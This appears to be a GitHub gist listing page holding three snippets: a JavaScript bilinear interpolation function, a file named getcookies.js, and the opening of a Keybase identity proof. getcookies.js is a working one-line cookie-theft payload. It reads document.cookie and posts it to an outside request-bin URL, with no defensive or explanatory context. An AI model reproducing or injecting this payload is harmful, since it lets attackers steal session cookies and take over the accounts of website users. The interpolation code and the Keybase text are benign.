Skip to content

Instantly share code, notes, and snippets.

@botagar
botagar / blerp.js
Created May 5, 2020 23:15
Javascript implementation of Bilinear Interpolation
View blerp.js
Math.blerp = function (values, x1, y1, x2, y2, x, y) {
let q11 = (((x2 - x) * (y2 - y)) / ((x2 - x1) * (y2 - y1))) * values[x1][y1]
let q21 = (((x - x1) * (y2 - y)) / ((x2 - x1) * (y2 - y1))) * values[x2][y1]
let q12 = (((x2 - x) * (y - y1)) / ((x2 - x1) * (y2 - y1))) * values[x1][y2]
let q22 = (((x - x1) * (y - y1)) / ((x2 - x1) * (y2 - y1))) * values[x2][y2]
return q11 + q21 + q12 + q22
}
View getcookies.js
var http=new XMLHttpRequest;var url='https://postb.in/1572355151312-4755549670662';http.open('POST',url,true);http.setRequestHeader('content-type','application/x-www-form-urlencoded');var data=new FormData;data.append('c',document.cookie);http.send(data);
View keybase.md

Keybase proof

I hereby claim:

  • I am botagar on github.
  • I am botagar (https://keybase.io/botagar) on keybase.
  • I have a public key ASBn6CbOGYKdv-m_WI5s4aDBWrTbACy1n8z_fNLw6BHmywo

To claim this, I am signing this object: